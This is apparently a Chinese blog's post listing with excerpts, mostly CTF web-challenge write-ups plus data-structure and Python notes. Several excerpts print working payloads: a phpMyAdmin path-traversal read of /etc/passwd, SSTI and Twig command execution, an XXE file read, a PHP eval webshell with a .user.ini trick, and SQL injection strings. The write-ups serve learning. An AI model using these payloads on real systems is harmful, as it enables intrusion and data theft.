- 博客(40)
- 资源 (2)
- 问答 (1)
- 收藏
- 关注
原创 GWCTF 2019]我有一个数据库 phpmyadmin任意文件读取
phpmyadmin任意文件读取进入phpmyadminphpmyadmin4.8.0-4.8.1存在文件包含漏洞直接上payload读取passwd文件?target=db_datadict.php%253f/../../../../../../../../etc/passwd读取成功,尝试读取flag文件/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag...
2021-09-25 13:30:30
411
原创 [b01lers2020]Welcome to Earth js
啊 低头看了下手机 发现 页面进行了跳转抓包试试 找到chase重复抓包的过程拿到源码function check_door() { var all_radio = document.getElementById("door_form").elements; var guess = null; for (var i = 0; i < all_radio.length; i++) if (all_radio[i].checked) guess = all_radi
2021-09-16 11:08:17
184
原创 [Zer0pts2020]Can you guess it? RCE basename()
参考链接源码<?phpinclude 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)");}if (isset($_GET['source'])) { highligh
2021-09-16 10:33:01
204
原创 新华三学习笔记
计算机网络概述计算机网络的基本功能资源共享分布式处理与负载均衡综合信息服务计算机网络的分类LAN(局域网 :由用户自行建设,使用私有地址组建的内部网络MAN(城域网):由运营商或大规模企业建设,连接城市范围的网络WAN(广域网):由运营商建设,连接全国各个城域网的网络。又称骨干网 核心网 传输网网络拓扑定义:网络设备连接排列的方式(简单理解就是网络结构)分类:总线型拓扑:所有设备共享一条公共线路线路中断会导致所有设备中断通讯环形拓扑:所有设备共享一条环形总线传
2021-09-12 11:48:04
258
原创 [BJDCTF2020]The mystery of ip (SSTI smarty X-Forwarded-For
查看FLAG 提示我们关注ip测试{7*7}查看下目录cat /flagX-Forwarded-For:{system("cat /flag")}
2021-09-11 18:51:07
158
原创 [NCTF2019]Fake XML cookbook (XML
XML讲解抓包构造PL<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]><user><username>&admin;</username><password>123456</password></user>...
2021-09-11 11:51:03
122
原创 [CISCN2019 华东南赛区]Web11 (SSTI smarty X-Forwarded-For
我每天都会叮嘱自己学英语(我们可以注意到 xff看了别人的wp ssti和smarty查看下根目录下文件{system('ls \')}发现cat好像被过滤了{show_source('/flag')}
2021-09-10 20:06:34
164
原创 [BJDCTF2020]EasySearch (Apache SSI远程命令执行漏洞
sad 我的御剑怎么又扫不出来文件泄露 index.php.swp源码<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$
2021-09-10 19:45:16
178
原创 [MRCTF2020]PYWebsite (ip
查看源码 function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
2021-09-08 12:29:28
146
原创 [SWPU2019]Web1 无列名注入
先注册 我先尝试admin 显示已经被注册过了登陆后 进行一个申请然后我申请了一个information_schema的广告(or也是这个回显查询列数order by被过滤了 可以使用group by1'/**/group/**/by/**/22,'1构造-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22手动探测列数,这里探测到有22列,回显位为2和3查表-1
2021-09-08 11:19:00
133
原创 [网鼎杯 2020 朱雀组]Nmap
昨天写了一个差不多的题 online tool这个题目就比较直观了属于是源码<?phprequire('settings.php');set_time_limit(0);if (isset($_POST['host'])): if (!defined('WEB_SCANS')) { die('Web scans disabled'); } $host = $_POST['host']; if(stripos($host,'php')!==false){ d
2021-08-18 13:51:22
144
原创 [BUUCTF 2018]Online Tool
考点RCE PHP源码<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host']; $host = escapeshella
2021-08-17 15:17:17
153
原创 NPUCTF2020]ReadlezPHP
考点:反序列化查看源码源码<?php#error_reporting(0);class HelloPhp{ public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this-&
2021-08-10 13:14:42
170
原创 [WUSTCTF2020]朴实无华
查看源联想到 robots.txt很好 很有精神查看响应头给爷整不会了 为啥乱码了中文 但可以勉强阅读(bushi<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level 1if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) <
2021-08-09 22:38:57
385
原创 [ASIS 2019]Unicorn shop
试到最后一个项目时回显如下查看源码根据提示结合回显的报错告诉了我们只能使用一个字符所以我没要找到大于1377的字符联想到UnicodeUnicode字符集查找
2021-08-09 21:59:10
116
原创 BJDCTF2020]Mark loves cat
.git泄露得到两个重要文件flag.php<?php$flag = file_get_contents('/flag');index.php<?phpinclude 'flag.php';//包含了flag.php$yds = "dog";$is = "cat";$handsome = 'yds';#变量覆盖漏洞foreach($_POST as $x => $y){ $$x = $y;}foreach($_GET as $x =>
2021-08-09 14:36:22
195
原创 [BJDCTF2020]Cookie is so stable
好喜欢这个题 可爱可爱查看hint在flag页面 进行测试其中{{7*7}}在Twig中返回49,在Jinja2中返回的是7777777,由此判断出为Twig模版注入因为提示了cookie,所以使用BurpSuite抓取数据包:进行测试详解模板注入漏洞{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}说明是对的payload:{{_self.env.register
2021-08-09 13:12:21
133
原创 [安洵杯 2019]easy_web 1
家人萌 我又来抄(bushi 写wp了发现这段呢很像base64解码2次3535352e706e67base16解码就是左上角的图片但是 把关注点落在编码方式上 将index.php编码编码结果为:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3在源码中发现 base64解码<?phperror_reporting(E_ALL || ~ E_NOTICE);header('content-type:text/html;charset=utf-8');$
2021-08-08 13:45:58
197
原创 GXYCTF2019]禁止套娃
为什么最近没写博客呢因为kail被我搞崩了 一直在搞 现在是重装了 这就是没有拍摄快照习惯的下场还有呢就是我都阿帕奇 port80被禁了 现在属于是还没解决上传一句话木马
2021-08-06 20:31:14
182
原创 N1Book
第一章 web入门]常见的搜集呢用御剑扫了一下 笑死 啥也没扫出来了用dirsearch扫1、gedit备份文件,格式为filename~,比如index.php~2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp3、robots.txt[第一章 web入门]粗心的小李题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。进入githack 目录下打开index.html[第一章 web入门]SQL
2021-07-29 18:42:54
204
原创 GXYCTF2019]BabySQli
尝试登入 发现一个search.php先base32解码 得到的结果进行base64解码select * from user where username = '$name'通过测试呢 可以猜测用户名为admin测试字段数1' order by 3#只有三个字段联合注入1' union select 1,'admin',3经测试 admin在第二列当查询的数据不存在时,联合查询就会构造一个虚拟的数据输入admin,密码为md5(123456),代入查询时MySQL里面就会生成a
2021-07-29 00:51:26
146
原创 极客大挑战 2019]HardSQL
确实是一整个不知所措了尝试了一下双写 不行那就基本上是报错注入了使用extractvalue和updatexml进行报错注入extractvalue()extractvalue() :对XML文档进行查询的函数语法:extractvalue(目标xml文档,xml路径)第一个参数 : 第一个参数可以传入目标xml文档第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式.
2021-07-29 00:17:54
154
原创 [网鼎杯 2018]Fakebook
看wp说是有备份文件robots.txt泄露源码<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $
2021-07-27 00:28:34
127
原创 [BJDCTF2020]Easy MD5 1
先测试一下得到提示"select * from 'admin' where password=' ".md5($pass,true)." ' "输入:ffifdyop为什么是ffifdyop$a = $GET['a'];$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend.可以用结果等于0exxxxxx的字符串,也可以使用数组a[]=1&a
2021-07-26 23:40:05
158
原创 极客大挑战 2019]BuyFlag
查看源码源码上表名了password的要求password=404a抓包把这个user=0改成1然后按要求post一个password=404a&money=100000000这波属于搞人心态 给爷整无语了接下来呢应该提示我money过长两种方法1.科学计数法 1e82.strcmp函数绕过特性int strcmp ( string $str1 , string $str2 )参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 <
2021-07-26 23:20:43
111
原创 SUCTF 2019]CheckIn
可恶啊 今天差点没做题先随便上传一个 提示文件要图片改一下后缀名文件内容为:GIF89a<script language="php">eval($_POST['shell']);</script> 然后我们构造一个.user.ini文件GIF89aauto_prepend_file=test.jpg把这个也上传连接蚁剑连接的url要加上dir这段http://4e81767b-49fa-4900-ae74-e1d5e68039ab.node4.buuo
2021-07-26 01:04:41
244
原创 极客大挑战 2019]BabySQL
知识点:双写绕过先进行测试?username=admin&password=123'union select 1?#You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1?'' at line 1根据回显说明union select被检测到了猜测使用replace函
2021-07-24 14:55:35
130
原创 极客大挑战 2019]Upload
文件上传 一句话木马先写一个test.phtml文件GIF89a<script language="php">eval($_POST['shell']);</script> 上传 抓包更改文件类型使用蚁剑连接 猜测路径为/upload/test.phtml密码就是test中写入的shell在根目录下发现flag文件...
2021-07-23 19:08:53
108
原创 buu web [极客大挑战 2019]Http
查看源代码我们访问这个页面,显示上说这个页面必须来自"https://www.Sycsecret.com"那就抓包无语了 他总说我申请错误(拳头硬了但是可以用hackbarhackbar ????
2021-07-23 18:38:40
132
原创 buu web每日一题之[RoarCTF 2019]Easy Calc
查看源码 提示看calc.php<?phperror_reporting(0);if(!isset($_GET['num'])){ show_source(__FILE__);}else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $b
2021-07-23 18:01:28
189
原创 【数据结构】队列的基本操作 C语言
顺序循环队列#include<stdio.h>#define MAXSIZE 100typedef int DataType;typedef struct{ DataType data[MAXSIZE]; int front,rear;}SqQueue;bool Init(SqQueue &q){ q.front =q.rear =-1; return true;}bool QueueEmpty(SqQueue q){ return (q.front
2021-06-10 14:02:51
371
原创 单链表的基本操作 【C语言】
/*单链表 建立:头插法 尾插法查找:按序号 按数值 插入运算删除运算求表长逆置*/ #include<stdio.h>#include<string.h>#include<malloc.h>#define flag -1typedef int DataType;typedef struct Node{ DataType data; struct Node *next;}LNode,*LinkList; //LNode 定义结点类型
2021-06-05 00:27:21
132
原创 顺序表的处理和操作 【C语言】
//顺序表 #include<stdio.h>#define MAXSIZE 100typedef int DataType;typedef struct{ DataType data[MAXSIZE]; int length;}SqList;//初始化顺序表void InitSqList(SqList &L){ int i,elem; L.length =0; printf("please input elem\n"); for(i=0;i<MAXS
2021-06-04 20:14:15
157
原创 【数据结构】C语言 栈的基本操作
【数据结构】C语言 栈的基本操作#include<stdio.h>#include<stdlib.h>#include<string.h>#define MAX 100typedef struct{ char data[MAX]; int top;} Stack;int InitStack(Stack *S)//构造空栈{ S->top=-1; return 1; } int StackEmpty(Stack *S)//判断栈
2021-04-14 00:02:01
604
原创 python 语法2
python的第二天变量赋值等号左右都要有空格 eg:name = 2 命名规则 myName = '老赵' # 小驼峰MyName = '老赵' # 大驼峰my_name = '老赵' # 已下划线链接 关键字不能作为变量名 import keywordprint(keyword.kwlist) #查询关键字列表 复数 # 虚数c = 12 - 5jprint(c.real)print(c.imag) 两个字符串...
2020-11-15 16:29:30
124
原创 python one 2020-11-14
pythonps.在使用变量之前 需要对其先赋值变量名可以包括字母 数字 下划线 但变量名不能以数字开头字母大小写意义不同5+8和’5’+'8’意义不同 前者是两数相加 后者是字符串的拼接单双引号无所谓 但是必须成对字符串中有单引号怎么办 eg: let’s go加入转义字符\ 输入let’s go则输出let’s go或者双引号”let’s go”原始字符串 在字符串前加个r eg:r’c\now’ 输出c\now 如若输入r’c\now’则会报错如果希望得到跨越多行的字符
2020-11-14 16:58:31
166
kail开机卡在loge怎么解决
2021-08-02
TA创建的收藏夹 TA关注的收藏夹
TA关注的人